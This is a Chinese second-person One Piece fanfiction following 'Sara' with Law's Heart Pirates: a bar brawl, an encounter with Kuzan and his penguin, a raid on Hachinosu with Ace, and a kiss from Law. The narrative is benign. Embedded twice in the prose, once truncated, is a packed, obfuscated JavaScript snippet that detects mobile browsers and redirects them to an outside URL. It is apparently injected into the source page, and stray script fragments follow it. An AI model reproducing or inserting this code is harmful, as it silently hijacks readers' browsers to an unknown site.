尚未察觉到你就在身后的打杂海贼还在发表他的逆天言论。像是什么“败在石榴裙下”,“库赞不够看”和“鹰眼也是男人”等,愣是没把你们需要的信息说出来。 “估计没什么能听的了。” 确认打杂海贼就是打杂的命后,你已经准备好出手了。罗正为假消息恼火,也准备拿打杂海贼来泄愤。 你和罗商量了一下,其他人随便罗出手,只有打杂海贼必须交给你。说你坏话就算了,还说你前任的坏话,这可忍不了。 没想到你出手是因为其他人,罗感到诧异。 “你还挺护短的。” 你不否认。 “别人说你坏话我也会出手。” 闻言的罗瞳孔微睁,又恢复平静。罗的技能很耗体力,而且酒吧还有普通民众,所以你先出手。 在低俗粗鄙的对话中,你走到打杂海贼的桌前。认出你的小弟已经发抖了,只有打杂海贼还在说话。有所提高的臂力能将打杂海贼揪起到半空,没想到正主会找上门的打杂海贼用多弗朗明哥的名字来吓唬你。 有用吗?没用的,就算他真的来你也要他挨打。 “好了,你想我打几巴掌?” 不能用最硬的武装色,用会打肿脸的练度就行。在你来回扇打杂海贼巴掌的时间里,普通民众被吓跑了,酒吧里只剩海贼了。但罗已经用能力让他们大变样,谁都走不掉。 这不关你事,你的目标是两边脸都被打肿的打杂海贼,无法反抗的他此时正痛哭流涕地求饶。 “我道歉!我道歉还不行吗!我再也不会说萨拉大人的坏话了!” 道歉的话听到了,你又让他把刚才对库赞和米霍克不好的言论用在他自己的身上。 做完这一切后,你心满意足地和罗离开了酒吧,期间你还看了眼酒吧被不成样子的海贼。 “你的恶趣味还是一样糟糕。” 把所有人的身体进行大洗牌,不见血又吓死圈中人,这不是恶趣味是什么? 对于你的评价,罗想到的是你可以用最硬的练度打服打杂海贼,却用最弱的练度打掉打杂海贼的自尊,还让他自己贬低自己。 罗觉得你的趣味也好不到哪去。 “你也好不到哪去。” 这么大闹一场的后果,就是你们离开那座岛后,报纸的八卦区里出现了你揪着打杂海贼扇巴掌的照片。虽然报道写得乱七八糟,但照片里的你美貌和实力兼具,也不怪佩金和夏其看到会说出也想被揪起来打的话。 作为和他们相处了一年的朋友,你表示没问题,还可以控制在不会打伤他们的力度里。对此,罗表示不行。 佩金:“欸...但是、” 夏其:“扇巴掌的可是萨拉啊...” 你默默举起手,向罗表明你可以满足他们愿望的想法:“别担心,我有分寸。” 看你一脸诚恳地说着迷倒佩金和夏其的话,罗觉得有必要让他们认识到你的恐怖。 “这不是分寸的问题!” 说完你,罗扭头对佩金和夏其发出警告。 “...你们想的话,我现在就能让你们进医务室。” 一句话让他们老实了。看到你又趴在贝波的肚子上看热闹后,罗到嘴边的话化成了不悦的咂嘴声。 果然,你是很麻烦的存在。等他把所有能学的都学了,绝对要摆脱你这个麻烦。 - 你和罗每到一个岛都闹出不小的事,现在罗的赏金已经涨了不少了,但海军那边还是没有向他发来成为七武海的邀请。 不只是七武海的事,收集的信息也不足,各种因素的事加起来,导致罗的情绪不怎么好。 即使如此,该练的霸气他也没落下,教你使用能力的事也记在心上。唯一不好的点,就是他给自己加练了。 自从你的见闻色能覆盖比较大的范围后,你能听到很多声音。说话的、打呼噜的,还有一些人的心声。 就像现在,你听到了罗在树林里发泄他的不满。本就被旅馆杂音吵得睡不着的你,决定去树林里查看罗的情况。 “晚上还是睡觉吧,过度训练只会让你的身体吃不消而已。” 没想到你会找过来的罗扫了你一眼,扛起放在一旁的刀就往树林深处走。 “别管我,现在是自由时间。” 换做平时你就不管罗了。但今晚罗情绪外露的过于明显,你多少有点担心,便和走在前面的罗保持一定的距离。 罗知道你没走,但他找不到你人在哪,也看不到。显然,你是在用见闻色查看他的动态。 “该死。” 不顺心的事太多了,多到罗都想像小时候一样,拿着刀就去刺杀多弗朗明哥。但那只是他情绪化的产物,现在的他已经不是儿时的自己了。 而且你管他干嘛?和平时一样,他让你走开就放他在那不管不就行了吗?你和他只是互利的关系,没有利益交集时,又何必管他,他也不想被你管。 越想烦闷的情绪越发清晰,罗朝着你可能在的方向喊道:“我说了,别跟着我。” 你听到了罗的声音,在跟与不跟中选择了不跟。所以,你用罗的能力绕他面前,用实际行动证明你没在跟他。 “这样就没在跟着你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许是发泄过情绪,罗的心情好了点,主动和你搭话。 “真是疯了...竟然浪费体力和你打这种没用的架。” “这又没什么,都没受伤,也算是检验学习成果了。现在心情好点了?” 罗抬头看了你一眼,见你只是有一层薄汗,不知是气得还是觉得无语,发出一声嗤笑。 “你倒是心情很好。” “那可不,弟子都要出师了,心情怎么可能不好。” 说到这个,罗极力否认你是他的师傅。 “我比你大一岁。” 你挑眉,不认为年龄是难题。 “又没人规定只有年纪大的才能做师傅。” 见说不过你,罗别过头,决定不再和你讨论这个话题。过了好一会儿,罗抛出了新的话题。 “你和他一样,喜欢多管闲事。” “他?” 注意到里面人称的你反问,罗沉默了半晌,中断了这个话题。 “...没什么,当我没说过。” “好的,那我不问。” 虽然罗是不想和你说柯拉松的话题,但你放弃追问的心也太快了。他不想吐槽你,这会让你们进入没完没了的死循环中。 而你的思绪已经在另一个方向上了。 “心情还是没好转的话,我想想...有了。” 在罗一脸不解的表情下,你走到他面前,伸手抱住了罗,就像露露安慰你时一样。近到能听到对方心跳的距离,罗嗅到了你身上和他一样的香味。 但你的味道又不太一样,或许是因为双方都出了不少汗,影响了香波的味道。罗太累了,不然一定会让你身体和脑袋分家,即使被抱住的感觉还不错。 “你也伸手来抱我嘛,和人拥抱的感觉其实不差的。” 没想到你还有附加要求的罗只觉得头大。 “...你个疯子。” 结果你忽略了他的话,主动抓起他的手搭在你腰后。 相较于罗,你的身形要小上些许。本是由你发起的拥抱,在他环住你的腰后,更像是他主动将你抱住一样。 “快好起来吧,我很担心你。” 听到你没有拐弯抹角的关心,罗似乎知道,为什么库赞和米霍克会被你拿下了。 但他不行,他绝对不会掺和到你混乱的情感关系里。普通的拥抱...应该没什么问题。 30.冲击 经过昨晚的打斗,罗的心情有所好转,他的好心情维持到你们登陆到下一座岛时。 按原有的计划,你是要和罗去打听黑市里某个武器的事,结果你一下船,就被岸边巨大的企鹅吸引住目光了。 你自认为不是喜欢玩偶的类型,可是那是企鹅,会打瞌睡的企鹅,可能手感不如贝波的肚子,但你第一次见到企鹅。 以至于罗给其他人安排好任务,你还站在海岸,目不转睛地看着打瞌睡的企鹅。它不只是打瞌睡,它还背着包。 “喂,该走了。” 注意到你异样的罗提醒你,你还是没舍得把目光从企鹅身上移开。要是你能抱抱那只企鹅该有多好? “我会走的,再让我看两眼。” 顺着你的视线看去,罗也看到了不应该出现在这个气候的企鹅。而看着企鹅的你,脸上泛着难得一见的红晕。显然,这不是看两眼就愿意走的程度。 “你已经看了五分钟了,现在就跟我去做正事。” 估计说是没用的了,罗一声“room”,将你扛到他肩上。还没反应过来的你怔了几秒,才意识到发生了什么。 “等等,我自己会走的,真的。” “你现在说的话我一个字都不信,别耽误时间。” 毫无怜悯之心的罗没把你放下,保持着这个姿势把你扛走,你和罗斗嘴的时间里,还不忘看多两眼岸边睡觉的企鹅。 可恶,希望你回来时它还在。说起来,企鹅吃什么来着?你可以投喂鱼干吗?投喂鱼干能让它跟着你走吗? 有了动力后,你工作的效率都上来了,甚至连贝波主动询问你是否需要摸他肚子都拒绝了。 见状,提议贝波把肚子给你摸的佩金和夏其就这事小声议论。 佩金:“我就说了,萨拉的状态不对,贝波的肚子都不摸了。” 夏其:“这怎么办?船长的状态才好,现在轮到萨拉了,是贝波对她没有吸引力了吗?” 贝波:“对不起...我没有吸引力。” 你还望着餐厅外的玻璃发呆,完全没把他们的议论声放心上。一时间,罗不知道该说你还是吐槽佩金他们。 要说谁的问题最大,还是你的问题大点。从服务员上菜后,你就没动过一点。 这叫什么,可爱冲击吗?你对可爱的东西一点抵抗力都没有吗?甚至不怀疑为什么普通的海岸会出现巨大的企鹅。 一不小心发现你其中一个弱点的罗高兴不起来,因为这个迟来的弱点,他喊你吃饭都没反应。 “别发呆了,赶紧把饭吃了。” 你点了点头,拿着叉子的手却没有要动的迹象。距离罗耗尽耐心还有一秒,一秒后,他就把你的饭倒了。 眼见一场风暴就要出现,作为你的舍友,露露叉起你碗里的食物,伸到你嘴边。 “萨拉,张嘴。” 还在发呆的你照着露露的话张嘴了,并咬下叉子上的食物,将其嚼到可以下咽的程度后咽下。后知后觉的你在露露投喂第二个西兰花时猛地惊醒,平日的沉稳不复存在。 “等、等等,我刚才做了什么?” 面对满脸通红的你,投喂你的露露将你的叉子塞回你的手里。 “没什么,只是发呆而已。你恢复原有的状态就要自己好好吃饭了,来,拿好叉子。” 在露露像是哄不愿吃饭的孩童的语气里,你的头低得更下了。 “好...好的,谢谢露露。” 围观了全程的罗还是觉得你很麻烦,但佩金他们说的没错,你也有可爱的地方,不过他绝对不会在你面前承认就是了。 - 收集好信息和置办好需要的物资后,你们回到了停船的地方。企鹅还在睡觉,以至于你走不动了。 真的不能上去抱一下吗?摸一下也可以的。 一眼看穿你在想什么的罗很头疼。他就知道,你再次见到企鹅时会很麻烦。以防你趁他不注意靠近企鹅,罗拽住你的手腕,用物理手段制止你再靠近企鹅。 “这种气候见到企鹅不应该怀疑它的存在吗?萨拉当家的,给我清醒点。” 罗说的很有道理,但这可是新世界。 “新世界万物皆有可能。” “这是歪理。” 握住你手腕的罗没有松手,正试图把你拽上船。你们的拉扯在外人看来,就像是海贼强抢民女,也不怪路过的好心人出手相救。 只是这个好心人的身份有些特殊。你和罗凭借出色的反应力避开了从你们中间立起的冰墙,时隔一年听到库赞的声音时,你还有点恍惚。 不止你,看清被强抢的“民女”是谁时,库赞的表情微怔。 “好像多管闲事了。” 认出来人是库赞后,你乱成一团的大脑组织了很多语言,最后能说出口的只有一句无关身份和关系的寒暄。 “好久不见,库赞。” 同样在整理思绪的库赞在和你对上视线时,有些起伏的情绪随着含笑的黑眸平静下来。 “确实好久不见了,萨拉。” 虽说你通过报纸知道库赞和萨卡斯基干架后辞掉海军的事,但真的见到库赞不穿那身制服时,你还是挺意外的。重要的是,现在的库赞比还是海军时松弛了很多。 “你不穿海军制服的样子挺好看的。” 闻言的库赞看了眼你,以及你身后警惕状态的罗,最后把视线放回你的身上。 “还是第一次听你这么夸我,怪不好意思的。” 说完,库赞看向随时准备出手的罗:“那位小哥,不用这么防备我,我现在不是海军了。” “真的要抓你,也没有让你准备的时间就是了。” 抬手准备用能力把你换过来的罗犹豫了几秒,放下了抬起的手。而一旁瑟瑟发抖的贝波一行人很害怕,可看见罗还留在原地,也克制住对库赞的恐惧,站在罗的身后。 解决了误会后,你和库赞的谈话继续。库赞和你在一起时也不怎么擅长找话题,所以你一般是发起话题的那个。 “现在的库赞是在旅行吗?” “这么说也没错,但更接近流浪吧。你呢,改当海贼了?” 这个问题有点难回答,毕竟你一开始就是海贼阵营的。见状,心细的库赞摆摆手让你别把后半句当回事。 “准确的说,我现在在陪弟子到处旅游?” 你看了眼罗的方向。鉴于槽点过多,罗不发表意见,盯着你的眼神倒是越发凶狠。 弟子?库赞觉得你的心真的很大,之前招惹他时心大,现在还把罗这种随时都能咬断脖子的豹子当弟子来对待。 可你看上去乐在其中,和中将时期忧虑过多的你截然不同,也更有魅力。但你和他已经不是同一路人了,你看向他的眼神里也没有之前的爱意。 果然,那个时候的你就是在利用他罢了。认清这个事实并没有让库赞觉得难过,反而有种豁然开朗的感觉。 “这样啊,那也不错,希望之后我们不会成为敌人吧。” 说完,库赞就准备离开。你也想和库赞道别的,但你看到了打瞌睡的企鹅醒了,正目不转睛地看着库赞。 “萨拉?” 库赞的声音让你意识到自己正抓着他的衣袖,不让他往前走。期间还有罗和贝波他们的咒骂声和尖叫声,可你的理性已经被企鹅侵占。 “那个企鹅......” 后知后觉的库赞点头。 “啊,是我现在的同伴。怎么了?” 猜想被验证那刻,你看向库赞的眼睛都亮起来了。 “可、可以让我抱一下它吗?摸一下也可以,拜托了。” 猝不及防被你击中的库赞一时语塞。他不是没遇到过对骆驼感兴趣的女性,但像你这样光明正大地请求自己的,还是第一次见。 重要的是冒着星星的黑眸太可爱了,仿佛拒绝就会哭出来的样子让人难以拒绝啊。可骆驼是会对说它“可爱”重拳出击的硬汉派,真不是他能做主的。 “这种事你问我...” 可你像抓住救命稻草一样,边问边靠近他,会发光的黑眸里似乎蒙上了一层水雾。 “拜托了库赞,这是我一生的请求——” 饶是库赞告诉自己不能按你说的话做,因你的出现而萌芽的情感越发清晰。不行,他不能在和你对视了。 “你...你自己去问骆驼吧,它的事我做不了主。对了,它不喜欢别人说它可爱。” 这么说的库赞抬手捂住了自己的眼睛,隔绝和你对视的可能。而你在库赞说完这段疑似同意你抱骆驼的话后,以最快的速度跑到了骆驼面前。 “你叫骆驼对吧?你好酷啊,我能抱抱你吗?” 没想到你会真的跑去问骆驼的库赞:“......” 诊断你遭受了可爱冲击的罗:“那个家伙...已经没救了。” 被你放软声音询问企鹅击中的佩金和夏其:“想要重生为企鹅。” 只有被你当面询问能否抱一下的骆驼,正思考着该怎么对你。你没夸它可爱,但你夸它酷的表情不像一回事。 要出拳吗?想到你和库赞像认识的,骆驼看了眼捂着眼疑似被刺激到的库赞,后者朝它摆手。 骆驼懂了,库赞被你击中了,就像你现在看它一样的心情,于是骆驼点头了。 得到允许的你喜悦之情都溢出来了。 “谢谢你!你是我在这个世界上见过最...最酷的企鹅!” 这么说着的你扑进了骆驼的怀里,和埋贝波肚子时的一样,用脸去蹭骆驼的肚子。 隐约有危机感的贝波下意识捂住了自己的肚子,感觉自己被轻薄了,但因为你太真诚够不成出拳理由的骆驼看了眼库赞。 第一次见到你露出符合这个年龄段反应的库赞别开视线。 “那个嘛...她难得这么开心,就让她抱抱吧。” 绝对是被可爱到了。一旁围观全过程的罗一行人在心里吐槽道。 然而这些和你都没关系,从骆驼肚子里退开的你,又向它提出了新的请求。 “最酷的骆驼先生,我可以摸一下你的手吗?” 被夸酷的骆驼很受用,把手递到你面前,任你触碰它的手。你发出了喜悦的笑声,又抬头向它请求。 “最酷的骆驼先生,我可以摸一下你的脸吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946720|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 诸如此类的对话一直在重复,被夸的逐渐迷失冷血硬汉风的骆驼已经被你摸了肚子、手、脸和头,现在你已经准备亲它了。 一旁看着骆驼像一年前的自己被你圈住的反应的库赞,捂着脸的手感受到了脸的温度。 而一开始暴躁的罗看向库赞的眼神没了警惕,更多的是唾弃,仿佛在谴责他之前和你交往的事。 一切尽在无言中。 “不是、我不是——还有萨拉,不要再哄骗骆驼了,它是我的同伴。” 场面有些混乱,但你已经问到骆驼能不能跟你走了,库赞果断把注意力放回到你和骆驼的身上。 也是这样,骆驼从你的甜言蜜语中清醒过来了,想落在你身上的拳头,在看到你没得到回应失望的表情时,变成没有杀伤力的推掌。 准备启航的库赞坐在骆驼身上,向失落的你发出邀请。 “这么喜欢骆驼,你可以考虑跟我走的。” 至于话里有几分真心和玩味,只有库赞知道了。面对库赞的邀请,一直围观的佩金三人表示不行。 佩金:“什么、当面撬墙脚?” 夏其:“贝波上!用你的肚子挽回萨拉!” 贝波:“欸?我吗?啊、好!” 罗:“够了,已经够乱了你们就别添乱了。” 没等他们上前,还沉迷于骆驼的你拒绝了库赞的邀请。 “要是再早点遇到库赞,我就答应了。但现在我还有事做,等我做完现在的事,再遇到库赞时就换我邀请你吧。” 见你没被骆驼迷到失去心智,库赞轻笑出声。 “那我就不抱期待的等你邀请我了。” - 意识到自己刚才做了什么的你想要时光倒流。不仅在库赞面前撒娇,还在罗他们面前哄骗骆驼。 啊,想要变成草履虫,这样脑子里就不会回放自己丢人的画面了。 很少见你情绪大起大落的红心海贼团不敢轻举妄动,连你的舍友露露也不知道怎么安慰你好。 整理好收集的信息的罗出甲板看到的,就是趴在甲板上试图变成草履虫的你。 “她这个状态持续多久了?” 佩金:“上船到现在有一会儿了,贝波主动让她摸肚子也没用。” 夏其:“露露也没有办法,船长有办法吗?” 贝波:“对不起...我没有用...” 罗笑了,累笑的。他都做好你被库赞拐走的准备了,结果你拒绝了库赞的邀请,回到了他的身边。 你都学完了他的能力了,只要不把和他的承诺当一回事,不就能和喜欢的企鹅在一起了?罗读不懂你在想什么,但你拒绝库赞时,他还是没来由得感到高兴。 “都去忙你们的,她交给我。” 把围观的船员遣散后,罗用能力把你和他移动到他的房间。从光线充足的甲板来到昏暗的房间,想变成草履虫的你也回过神了。 你起身看向带你来房间的罗,后者低下头,缩短你们之间的距离。 罗会主动靠近你的行为实在太稀奇,以至于你都忘了自己觊觎着罗帽子的事。 “你不是想摸我的帽子吗?现在给你摸。” “...真的?” “真的。” 真的被允许摸帽子时,你反而开始怀疑眼前的人是不是冒牌货了。但帽子不是,所以你伸手抓住了罗的帽子。 毛茸茸的手感和贝波的肚子有得一比,你顺着帽子的纹路,把罗露在外面的头发也摸了。刚碰到,罗就出声制止了你越界的行为。 “我只是让你摸帽子,没让你碰我的头。” 可罗是戴着帽子让你摸的,不就是头也能摸的意思吗? “那为什么不拿下来给我摸?” 罗没回话,或许是觉得和你争论这个问题显得很傻,只是顶着微红的耳郭催促你赶紧摸完收手。 这下好了,你的注意力从帽子转移到罗泛红的耳郭上了。 头发都能摸了,那耳朵呢?抱着试一下的想法,你抚上罗温热的耳郭。基本是刚碰到,一直忍耐着不打断你碰触的罗抓住了你的手,注视着你的双眸里是不加掩饰的炙热。 “别摸不该摸的地方,萨拉当家的。” “我不是你能挑逗的人。” 厌恶?嫌弃?还是别的什么?你分辨不出此时的罗眼里是什么情感,只能作罢。 “抱歉,我有点得意忘形了。” 理应能收回的手还在罗的手中,他似乎还不打算松开你。 “我已经道歉了。” 所以总该松手了吧?你相信,罗是知道的。事实证明确实如此,罗松手了。 “你个疯子。” 不对吧,不是罗让你摸的吗?按理说,这个疯子是罗才对。 “突然让我摸帽子的你更像疯子。” 被你说的话梗住的罗怔了几秒,随后吐出一口浊气。再次对上视线时,他的眼里是势在必得的笑意。 “你说的没错。” 没等你为罗把自己归为疯子的话吐槽时,罗冷下了脸,对你发出警告。 “所以别惹我,萨拉当家的。” 31.混乱 罗的武装色出师了,打凯多的计划他也筹划的差不多了。当务之急,还是怎么拿下七武海的称号。 你想到了蒂奇霸占的岛。全是海贼的岛屿,那里面悬赏金高的海贼应该不少吧?而且,你一个人也去不了那里找蒂奇麻烦。 抛开个人情感而言,你也觉得那里是出名的好机会。勉强说服自己后,你向罗提议。 “蜂巢岛怎么样?里面海贼够多。当然,也够危险。” “在那里大闹一场,总比一个个抓要来的快。” 光是听到蜂巢岛的名字,佩金他们就露出“绝对不行”的表情了,纷纷劝说罗换个计划。但敲定主意的不是他们,是罗。 “萨拉当家的,你果然是疯子。” 你挑眉,就这个计划而言,你确实像个疯子。但罗上扬的嘴角,显然他对你提出的建议很感兴趣。 “你这么说也没错。” 见罗难得和你达成共识,佩金他们不敢指望你劝说罗了。 贝波:“船长这太危险了!那里一直都有海贼加入,去和他们为敌弊大于利啊!” 佩金:“对啊船长!我们可以慢慢抓悬赏金高的,不一定要冒这个险。” 夏其:“慢慢来就好!我们不都是这样走过来的吗?” 其他船员也跟着劝说罗,被罗一口否决了。在红心海贼团的异口同声的劝说里,罗看了你一眼。你知道,作为红心海贼团的外来客该回避一下了。 有意不去用见闻色的情况下,你是听不到他们聊天的内容了。但从他们出来后一个个垂头丧气的样子就可以得知,罗还是要去蜂巢岛。 你想,你还是有必要告诉,去蜂巢岛的提议里掺杂着你的私情。交代这件事的时间,自然是夜深人静时。 “罗,我还是有必要和你说一下我提议你去蜂巢岛的缘由。” 坐在桌前的罗早有所料,用眼神示意你把门关上。你关上门,坐在罗拉过来的椅子上,说起了你对蜂巢岛这个提议的想法。 “我提议你去蜂巢岛,私情的占比更大点。你知道的,蒂奇在那里。” “就从这点出发,我建议你再考虑一下。” 闻言的罗发出一声冷笑。 “我知道。我对你们之间的事不感兴趣,你和我本来就是利益关系。” “排除你的私情,那里确实是大闹一场的好地方。同理,作为提出计划的一员,你也要跟着去。” 罗理性到将近冷血的话让你不安的清醒冷却下来了。也是,罗哪是会被私情所影响的人呢? “那就得着手调查下谁的赏金够高了。蒂奇的怎么样?” 你的一句话让罗冷着的脸破防。 “这句话里全是私情,给我认真点。” 见罗恢复平时的状态,你跟着笑了。 “抱歉嘛,见你这么紧张,就忍不住和你开个玩笑。” “我可不想和你死在那里,然后被报道成殉情什么的。” 听到关键词的罗眉头皱得能夹死一只苍蝇。 “你死在那我也不会死,更别说被报道成和你是一对。” “毫不掩饰嫌弃我的心情啊。” 这样的罗让你安心。比起那晚让你摸帽子的罗,现在的罗才是你认识的他嘛。 做完这件事后,你要想一下之后去哪了。要和库赞一样,找个可爱的同伴旅游?还是蹭船蹭回白团呢? 这些都是大闹一场活下来后的事,先把精力放在之后的战役上吧。 - 你和罗在蜂巢岛上遇到了意料之外的援军。于你而言,又没这么意外。 “萨拉——!你怎么会在这?” 看到活蹦乱跳的艾斯,你安心了。但老爹他们应该不会让艾斯来找蒂奇麻烦的,这要怎么解释眼前的艾斯? 在这里遇到同伴感动归感动,作为艾斯的姐姐,你觉得你应该问清楚艾斯的具体情况。 和艾斯聊之前,你看了眼咂嘴的罗,后者面露不悦,朝你挥手。 “有什么赶紧说,别耽搁计划。” 得到罗的允许后,你拉着艾斯躲在一旁的石头里交谈。 “这是我要说的话,你不应该在老爹他们的看管下变强吗?” 面对你绷紧脸和自己说话的事,艾斯脸上的笑容不见半分消退。 “嘛,我和你一样,出来闯世界了。笑一笑嘛,不要这么凶地看我。” 艾斯边说边伸手扯你拉成一条直线的嘴角,试图让你笑一个。 “好了,别和我耍滑头。你要知道一个人来这里是很危险的,趁我和罗还没行动,你快离开这。” 你说着,准备拍开艾斯捏住你脸的手。结果还没碰到艾斯的手,艾斯的脸在你视野里放大,脸上的笑容也不复存在。 第一次见到冷脸的艾斯,这让你有些意外。与此同时,粗粝的指腹抚上你左眼上淡到可以忽视的刀痕上。 “这就是救我时留下的疤吗?” “蒂奇这个家伙...” 眼见艾斯要为此自责,你伸手拍了下艾斯的额头。毫无防备的艾斯被你打的低叫出声,过近的距离也因此拉开。 “停,这是我实力不够的结果,不准把问题揽在自己身上。” “如果你还把我当姐姐,现在就听我的,回莫比迪克号。” 虽然没明说,但你从艾斯上船后,一直觉得自己是艾斯的姐姐。只是平时你们年龄相仿,你也不喜欢拿辈分来命令艾斯。 结果难得摆出长姐姿态的你,被艾斯驳回了。 “我从没说你是我的姐姐。” 艾斯冷着脸说话的样子挺吓人的,说的还是否认你身份的话。你不是没听过更难听的话,但目前遇到的人,没有谁说的话比艾斯这句话更有杀伤力了。 流动的血液好像凝固起来了,比起身体的冷意,你觉得你的心更冷。 也是,艾斯没叫过你姐姐,白团的大家也没说过你是他们的妹妹,大家都是直呼你的名字或者“小鬼”和“老幺”,你怎么能把自己放在家人的定位上? 你找不到能反驳艾斯的话,说完这话的艾斯也意识到了什么,两步并一步地走到你面前,想要和你解释。 “我不是——” 打断你们争吵的是罗,他凭借身高优势隔开了你和艾斯的距离,无比自然地把你纳入他的保护圈中。 “够了,再吵下去还要不要打了?别管计划外的家伙,我们该做准备了。” 罗的话让你冷却的身体恢复原有的温度。 “说、说的也是,先集中注意力在作战上吧。” 许是知道接下来的战斗不简单,艾斯主动和罗搭话。 “打架的话,也该把我算在战力内吧?” “刚好,我和蒂奇也有点恩怨,算上我吧。” 罗用余光扫了你一眼,见你没有反对或同意,在脑海里衡量了利弊后,把计划和艾斯说了一遍。 - 罗的能力大范围使用很耗尽体力,还减寿。但在战场上,罗的各种技能都很有用。不仅能给敌人造成伤害,还能给予友军帮助。 按照原定计划,你负责打头阵,罗则是在你吸引注意力后夺取蜂巢岛上海贼的心脏。在此期间,你需要使用小范围的能力,用来抵消罗能力的干扰。 当然,罗一直坚持他要打头阵,但在你表达了你的出现能让人出其不意后,罗妥协了。 现在的话,负责打头阵的多了个艾斯。相较于你复制的冰河时代,艾斯的火拳给蜂巢岛造成的轰动更大点。 你们的主要目标不是蒂奇,而是引发大事件。所以艾斯根本没打算藏着能力,一声“火拳”把蜂巢岛的建筑烧得很旺。 要不是有罗的能力,估计你和罗都被卷走。 不过这次作战还是要让罗出风头,在这之后你和艾斯随心所欲的闹。你的话,则是在大闹一场时注意艾斯和罗的状态,情况不对时及时带两人回潜水艇上。 在混乱的叫声中,你扫了眼因过度使用能力而气喘吁吁的罗。 “够了吗?” 罗分出一丝精力看了眼装载心脏的箱子。 “应该够了。” 确认无误后,你朝在屋顶寻找蒂奇痕迹的艾斯喊道:“艾斯,该撤了,今天是见不到蒂奇的。” 没想到你会和自己搭话,艾斯楞了下,朝你露出灿烂的笑容,从屋顶跳到你身旁。 “这样吗?真可惜。” 你回了艾斯一个单音,伸手扶住因体力不支摇摇欲坠的罗,在艾斯不明所以的单音中,伸手挽住他还没散去热度的小臂。 “Room——” - 红心海贼团看到完好无损的你们喜极而泣,贝波更是抱着精疲力竭的罗边蹭边哭。看到罗在他们的关心下露出笑容,你也跟着松了口气。 “所以这一年来,萨拉都和他们在一起吗?” 艾斯开口说话时,红心海贼团的船员沉默了,然后发出爆鸣。 佩金:“为什么去大闹一场还带回了火拳啊?!” 夏其:“是萨拉带回来的吗?!” 贝波:“好像是白胡子海贼团的......” 在他们慌张失措的声音中,艾斯不受影响地介绍起自己。 “初次见面,我是白胡子海贼团的‘火拳’艾斯,感谢你们这一年对萨拉的照顾。” 许是没见过这么讲礼仪的海贼,刚才还乱成一团的一行人纷纷效仿艾斯的表现和他打招呼。 佩金:“哪里哪里,这一年萨拉才是照顾我们的那个。” 夏其:“没错,萨拉很多次都救我们于水深火热之中 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说你小气也好,胆小也罢。现在的你是又想回白团,又不敢回白团。只要想到船上可能有人说类似的话,眼泪就在眼眶里打转了。 由此可见,白天艾斯说过的话造成的杀伤力不是一般的大。 所以,你要去哪呢?你看着夜空中的满月,思绪逐渐飘远,有说有笑的包围圈也离你越来越远。 “萨拉当家的。” 不知道什么时候来到你身边的罗叫住了你,你眨了下眼,试图把眼里的水雾抹去。简单调整了下状态,你看向罗。 “怎么了?” “之后有什么打算?” 罗拿着没喝完的酒,坐在你身旁。伴随着夜晚的海风,你闻到了罗身上的酒味。酒精和消毒水的味道交融,还怪新奇的。 “继续干老本行吧。也没地方去,说不定走着走着就遇到和骆驼一样的同伴了呢?” 你扯出一丝微笑,和罗说起你设想。落在你身上的视线试图看出些什么,你不解地看向罗,后者和往常一样冷笑出声。 “笑得真难看。” 熟悉的冷嘲热讽让你安心,你顺势接上罗的话题。 “我本来也没好看到哪去。” 理应接着话题继续和你斗嘴的罗哽住,用干哑的声音否认了你的说法。 “…我不是这个意思。” 你觉得现在的罗少了几分冷酷,变得有人情味了。哦不,他一直都有人情味,只是对你不怎么温柔罢了。 大抵是放弃组织语言的机会,罗不爽地咂嘴,压下帽檐让你看不清他的脸。 “算了,我不是安慰人的类型,也没打算安慰你。” 安慰你?不等你理清其中的逻辑,罗将酒瓶随手一放后拿下了他的帽子,顺势将坐在他身旁的你拽入怀中。 你勉强看清了罗胸口的纹身,余光看到黑色斑点的帽子挡住了你和罗的视线。紧接着,温热的唇吞没了你的疑问。 你不是传统的海贼,你讨厌朗姆酒的味道,也讨厌表达自己的想法和欲求。可你不讨厌带有朗姆酒味道的吻,也不讨厌带有情欲的吻。 等等,这是会出现在你和罗之间的吻吗? 开始突然的吻,结束的也很突然。帽子还挡着你们的视线,以至于你只能看见痞笑的罗。 “果然,这样的表情更适合你。” 你觉得你有必要纠正一下罗对“安慰”的理解。但他并不打算听你长篇大论,而是扶着你的后脑勺又吻了一次。 一次还能说意外,两次就不能了。而肇事者却像恶作剧成功的孩童般笑了。 “我说了,我没打算安慰你。” 所以是逗你玩吗?你看罗的眼神变得无奈。许是你的表情取悦到了罗,也可能是作战成功的影响,今晚的罗似乎要更为温和。不能否认的是,罗的举动确实让你的注意力分撒了些,白天艾斯说的那句话不再在你脑海里循环。 就冲这点,你不打算追究罗刚才做的事。 “就算不是安慰,也谢了。至少现在,我的心情好多了。” 调理好心情的你起身拍了下罗没戴帽子的发顶。后者因你的动作怔了几秒,随后戴上用来遮挡他人视线的帽子,让你看不清他的表情。 “...你果然还是一样,让人觉得火大。” “抱歉了,毕竟是这种性格。” 说完毫无歉意的话后,你先一步朝热闹的包围圈走去。慢一步的罗看着你走到包围圈,和喝上头的佩金他们有说有笑时,嘴角不禁上扬。 至于刚才你对他做的事,罗决定放到他计划完成时再和你要回来。 到那天来临前,他都会和你维持着现在的关系。 32.计划 和红心海贼团分别时,罗给了你一角他的生命卡。由于原话太复杂,你将其理解为之后带你去和之国“旅游”的船票。 至于那两个吻,你和罗很有默契的没有提,或许是罗酒精上头吧,成年人的事谁说得通呢。 跟着你目送红心海贼团启航的艾斯还是一样,没打算离开。经过一晚的消化,你也不再纠结昨天让你无法释怀的话了。 是什么关系也不重要了,重要的是艾斯还活着,还能和你说话。你正思考该用什么话题和艾斯交谈时,后者先一步向你道歉了。 “对不起,萨拉,昨天我不该说那句话。” 意料之外的展开,但你不打算和艾斯讨论那件事了, 